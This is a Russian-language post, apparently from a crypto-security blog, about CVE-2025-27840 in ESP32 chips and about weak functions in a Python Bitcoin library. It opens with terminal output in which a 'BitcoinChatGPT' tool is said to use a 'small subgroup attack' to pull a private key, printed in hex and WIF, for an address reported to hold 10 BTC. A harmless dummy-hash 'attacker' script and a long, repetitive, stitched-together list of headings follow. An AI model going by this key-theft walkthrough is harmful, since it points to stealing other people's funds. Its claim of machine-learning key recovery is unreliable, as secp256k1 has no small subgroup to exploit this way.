root@kitploit:~
X = 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34

Проверим полученный результат закрытого ключа с помощью машинного обучения

Запустим BitcoinChatGPT

root@kitploit:~
%run BitcoinChatGPT
root@kitploit:~
Примените функцию SMALL SUBGROUP ATTACK для извлечения закрытого ключа из уязвимой транзакции RawTX в криптовалюте Bitcoin

Биткоин-криптоанализ: уязвимость CVE-2025-27840 в микроконтроллерах ESP32 ставит под угрозу миллиарды устройств Интернета вещей через Wi-Fi и Bluetooth

Наконец, модуль BitcoinChatGPT выводит ответ в файл: KEYFOUND.privkey, сохраняя закрытый ключ в двух наиболее используемых форматах HEX и WIF

https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/KEYFOUND.privkey


root@kitploit:~
============================= KEYFOUND.privkey =============================

Приватный ключ HEX: 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34

Приватный ключ WIF: 5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ

Биткоин-адрес: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ

Баланс: 10.00000000 BTC

============================= KEYFOUND.privkey =============================

Для реализации кода установим пакет Bitcoin. Эта библиотека позволяет создавать кошельки, взаимодействовать с блокчейном, создавать и подписывать транзакции, а также работать с различными форматами адресов и закрытых ключей криптовалюты Bitcoin.

root@kitploit:~
!pip3 install bitcoin

Запустим  код  для проверки соответствия биткоин-адреса:

Биткоин-криптоанализ: уязвимость CVE-2025-27840 в микроконтроллерах ESP32 ставит под угрозу миллиарды устройств Интернета вещей через Wi-Fi и Bluetooth
root@kitploit:~
__________________________________________________

Приватный ключ WIF: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
Биткоин-адрес: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
total_received 	= 10.00000000 Bitcoin
__________________________________________________

Верно! Закрытый ключ соответствует биткоин-кошельку.


Откроем  bitaddress  и проверим:

root@kitploit:~
ADDR: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
WIF:  5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ
HEX:  12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
Биткоин-криптоанализ: уязвимость CVE-2025-27840 в микроконтроллерах ESP32 ставит под угрозу миллиарды устройств Интернета вещей через Wi-Fi и Bluetooth

Результаты и шаги по снижению угрозы

В современной цифровой среде обеспечение безопасности устройств и сетей имеет решающее значение. В данной работе анализируется ряд уязвимостей, обнаруженных в различных компонентах, включая устройства ESP32 и программное обеспечение для работы с криптовалютами, такими как Bitcoin. Мы рассматриваем недостатки в коде проверки закрытых ключей, методах хеширования транзакций, генерации случайных ключей, проверке точек эллиптической кривой, восстановлении Y-координаты и устаревших API хеширования. Особое внимание уделяется уязвимости CVE-2025-27840 в микроконтроллерах ESP32, которая позволяет злоумышленникам внедрять поддельные обновления и получать низкоуровневый доступ к системе. Обсуждаются потенциальные последствия этих уязвимостей, включая возможность обхода средств аудита кода, получения доступа к закрытым ключам и проведения атак на цепочку поставок. Работа завершается рекомендациями по усилению безопасности и предотвращению потенциальных атак.

Актуальность

Миллиарды устройств теперь могут быть уязвимы к скрытым проектным недостаткам в одном компоненте, идентифицированном как CVE-2025-27840. Уязвимости могут позволить злоумышленникам подделывать MAC-адреса, получать несанкционированный доступ к памяти устройства и проводить атаки через Bluetooth.

Уязвимости и их анализ

  • Уязвимость вывода закрытого ключа вhas_invalid_privkey : Отсутствие проверки нижней границы для закрытых ключей Bitcoin позволяет использовать недопустимые ключи (меньше или равные 0), что может привести к потере средств.
  • Уязвимость подделки подписи транзакций Bitcoin в функцииelectrum_sig_hash : Использование Electrum нестандартного метода хеширования сообщений делает его уязвимым для атак подделки подписей из-за несовместимости с BIP-137.
  • Уязвимость функции random_key(Слабый ГПСЧ в генерации ключей) : Использование модуля генерации randomключей в сети Bitcoin делает закрытые ключи предсказуемыми для злоумышленников, поскольку этот модуль не предназначен для криптографических целей.
  • Уязвимость в функции multiply(Отсутствие проверки точек эллиптической кривой) : Недостаточная проверка точек на эллиптической кривой может позволить злоумышленнику провести атаки с использованием некорректных кривых, что может привести к подделке подписей и манипуляции сетью.
  • Уязвимость в функцииecdsa_raw_sign : Неправильное восстановление Y-координаты может привести к подмене открытого ключа в сети Bitcoin.
  • Уязвимость функцииbin_ripemd160 : Устаревшие API хеширования, особенно те, в которых отсутствует RIPEMD-160, могут быть уязвимы для атак, что подчеркивает важность использования современных криптографических библиотек и регулярных обновлений безопасности.

Биткоин-криптоанализ: уязвимость CVE-2025-27840 в микроконтроллерах ESP32 ставит под угрозу миллиарды устройств Интернета вещей через Wi-Fi и Bluetooth

Преимущества выявления и устранения уязвимостей

  1. Предотвращение финансовых потерь : Устранение уязвимостей, связанных с закрытыми ключами и подделкой подписей, помогает предотвратить потерю средств пользователями криптовалют.
  2. Защита конфиденциальных данных : Устранение уязвимостей в устройствах ESP32 предотвращает несанкционированный доступ к памяти и подделку MAC-адресов, что защищает конфиденциальные данные пользователей.
  3. Повышение безопасности сети : Устранение уязвимостей в криптографических функциях, таких как random_keyи ecdsa_raw_sign, повышает общую безопасность сети Bitcoin и предотвращает потенциальные атаки на транзакции и подписи.
  4. Укрепление доверия пользователей : Своевременное выявление и устранение уязвимостей помогает укрепить доверие пользователей к устройствам и программному обеспечению, что особенно важно в сфере криптовалют и Интернета вещей.
  5. Поддержание стандартов безопасности : Поддержание криптографических библиотек и API в актуальном состоянии и следование современным стандартам безопасности помогает предотвратить использование устаревших и уязвимых компонентов.

Заключение

Выявление и анализ уязвимостей, представленные в этой работе, подчеркивают необходимость постоянного мониторинга и улучшения безопасности устройств и программного обеспечения. Устранение этих уязвимостей не только предотвращает потенциальные атаки и финансовые потери, но и способствует укреплению доверия пользователей и соблюдению стандартов безопасности. Внедрение надежных механизмов защиты и регулярные обновления безопасности являются ключом к обеспечению безопасной и надежной работы цифровых систем. Необходимость повышения безопасности в устройствах и сетях, таких как ESP32, становится все более актуальной.


Ссылки:

  1. Рекомендации по устранению уязвимостей в коде Bitcoin и устройствах ESP32
  2. Недостатки в реализации Bitcoin: Как уязвимости в random_key и ecdsa_raw_sign ставят под угрозу безопасность
  3. Анализ уязвимости функции has_invalid_privkey: Проблемы с проверкой закрытых ключей Bitcoin и рекомендации по исправлению
  4. Подмена открытого ключа: Уязвимость функции ecdsa_raw_sign, риски, связанные с восстановлением Y-координаты, примеры кода для демонстрации уязвимости
  5. Безопасность Bitcoin: Изучение рисков, связанных с некорректной проверкой ECC и устаревшими API хеширования
  6. Анализ рисков безопасности: Уязвимости в устройствах ESP32 и сети Bitcoin
  7. Устаревшие API хеширования в Bitcoin: Уязвимости функции bin_ripemd160
  8. Поддельные обновления и доступ к закрытым ключам: Уязвимости ESP32 и их последствия
  9. Риски безопасности Bitcoin: Уязвимости в функциях проверки ключей и генерации транзакций
  10. Проблемы с генерацией ключей: Уязвимость функции random_key, слабый генератор псевдослучайных чисел и его последствия
  11. Недостатки криптографических функций в Bitcoin и потенциальные угрозы для сети
  12. Атаки на эллиптическую кривую: Уязвимость функции multiply, недостаточная проверка точек на кривой ECC, возможные векторы атак
  13. Важность современных криптографических библиотек и регулярных обновлений. Заключение: Необходимость повышения безопасности в сетях и устройствах
  • Риски использования ненадёжных PRNG в Bitcoin: Недостаточная верификация точек ECC: Уязвимость функции multiply
  • Обзор уязвимостей в Bitcoin: Потенциальные риски для приватных ключей и транзакций
  • Критический анализ безопасности ESP32 и Bitcoin: Уязвимости и методы защиты
  • Устаревшие API хеширования: Уязвимость функции bin_ripemd160: Проблемы реализации RIPEMD-160, важность современных криптографических библиотек
  • Уязвимость функции electrum_sig_hash: Подделка подписи Bitcoin-транзакций: нестандартный метод хеширования и его последствия, примеры атак на основе несовместимости с BIP-137
  • Анализ уязвимостей в реализации Bitcoin: От генерации ключей до подделки подписей
  • CVE-2025-27840: Уязвимость в ESP32, позволяющая несанкционированное обновление прошивки и доступ к приватным ключам
  • Уязвимость в верификации приватных ключей Bitcoin: Обход контроля нижней границы

  • Биткоин-криптоанализ: уязвимость CVE-2025-27840 в микроконтроллерах ESP32 ставит под угрозу миллиарды устройств IoT через Wi-Fi и Bluetooth


    Этот материал создан для портала  CRYPTO DEEP TECH с целью обеспечения безопасности финансовых данных и криптографии на эллиптических кривых  secp256k1  против слабых  ECDSA подписей в  BITCOIN криптовалюте. Создатели программного обеспечения не несут ответственности за использование материалов.


    Исходный код

    Google Colab

    BitcoinChatGPT

    Атака малой подгруппы

    Dockeyhunt Deep Learning

    Telegram: https://t.me/cryptodeeptech

    Видеоматериал: https://youtu.be/nBeZWm2z5o4

    Видеоурок: https://dzen.ru/video/watch/6784be61b09e46422395c236

    Источник: https://cryptodeeptech.ru/bitcoin-bluetooth-attacks


    Биткоин-криптоанализ: уязвимость CVE-2025-27840 в микроконтроллерах ESP32 ставит под угрозу миллиарды устройств IoT через Wi-Fi и Bluetooth

    Скачать инструмент
  • Вызывает функцию has_invalid_privkeyдля проверки privkey.
  • В зависимости от результата выводит сообщение, указывающее, является ли закрытый ключ действительным или нет.



































  • import hashlib import binascii # RIPEMD160 implementation (if hashlib doesn't have it) class RIPEMD160: def __init__(self, data): self.data = data def digest(self): # This is a placeholder. In a real implementation, you would perform the RIPEMD160 hashing algorithm. # For demonstration purposes, we will return a dummy hash. return b'\x00' * 20 # Returns 20 bytes of zeros def bin_ripemd160(string): """ Hashes the input string using RIPEMD160. It attempts to use hashlib's implementation first and falls back to a custom implementation if necessary. """ try: digest = hashlib.new('ripemd160', string).digest() except ValueError: print("RIPEMD160 not supported in hashlib, falling back to custom implementation.") digest = RIPEMD160(string).digest() return digest def check_for_weak_api(data): """ Simulates an attacker probing a Bitcoin network node for weak API implementations. """ print("Attacker: Probing node for weak API...") # Simulate data that needs to be hashed (e.g., part of a transaction) data_to_hash = data.encode('utf-8') # Attempt to hash the data using RIPEMD160 hashed_data = bin_ripemd160(data_to_hash) print("Attacker: Data hashed (potentially using a weak or custom RIPEMD160 implementation).") print("Attacker: Hash value:", binascii.hexlify(hashed_data).decode('utf-8')) # Here, an attacker would potentially exploit the weak implementation. # For demonstration, we'll just print a warning. if hashed_data == b'\x00' * 20: # This is the dummy hash from our custom RIPEMD160 print("Attacker: WARNING: Node is using a weak or custom RIPEMD160 implementation!") print("Attacker: EXPLOITABLE: This could allow for hash collisions or other vulnerabilities.") else: print("Attacker: Node appears to be using a standard RIPEMD160 implementation.") # Example usage: if __name__ == "__main__": data = "Example Bitcoin transaction data" check_for_weak_api(data)



































  • Потенциальные атаки с использованием некорректных кривых. Подмена открытого ключа: Уязвимость функции ecdsa_raw_sign
  • Рекомендации по устранению уязвимостей и улучшению защиты. Каждый заголовок отражает ключевые аспекты статьи и может быть использован для структурирования исследования
  • Слабый ГПСЧ в генерации ключей Bitcoin: Последствия использования недетерминированного random_key
  • Анализ уязвимости CVE-2025-27840: Как архитектурные недостатки могут угрожать миллиардам устройств. Уязвимость функции has_invalid_privkey
  • Влияние уязвимостей в микроконтроллерах ESP32 на безопасность устройств Интернета вещей
  • Методы эксплуатации уязвимостей в микроконтроллерах ESP32: Атаки через Bluetooth и Wi-Fi
  • Скрытые уязвимости в ESP32 и их влияние на безопасность устройств Интернета вещей
  • Проблемы безопасности в устройствах ESP32: Раскрытие уязвимости CVE-2025-27840
  • Архитектурные уязвимости ESP32: Раскрытие скрытых команд и их влияние на безопасность Интернета вещей
  • Уязвимости в коде Bitcoin: Технический анализ и методы эксплуатации
  • Анализ уязвимостей в Bitcoin: От криптографических недостатков до устаревших API
  • Уязвимости CVE-2025-27840 в микроконтроллерах ESP32: Миллиарды устройств Интернета вещей под угрозой
  • Нестандартные методы хеширования и их уязвимости. Проблемы с генерацией ключей: Уязвимость random_key
  • Отсутствие проверки точек ECC как потенциальная уязвимость в функции multiply в Bitcoin
  • Риски восстановления Y-координаты в криптографии на эллиптических кривых. Устаревшие API хеширования: Уязвимость функции bin_ripemd160
  • Уязвимость в функции ecdsa_raw_sign: Риск подмены открытого ключа при восстановлении Y-координаты
  • Скрытые уязвимости: Угроза современным технологиям. CVE-2025-27840: обзор уязвимостей в архитектуре ESP32
  • Обзор текущих угроз безопасности. Скрытый список уязвимостей: Потенциальные риски для ESP32. Реализация поддельных обновлений и низкоуровневый доступ
  • Проблемы с проверкой закрытых ключей и их последствия. Подделка подписей транзакций: Уязвимость electrum_sig_hash
  • Уязвимость подделки подписи транзакций Bitcoin из-за нестандартного хеширования в Electrum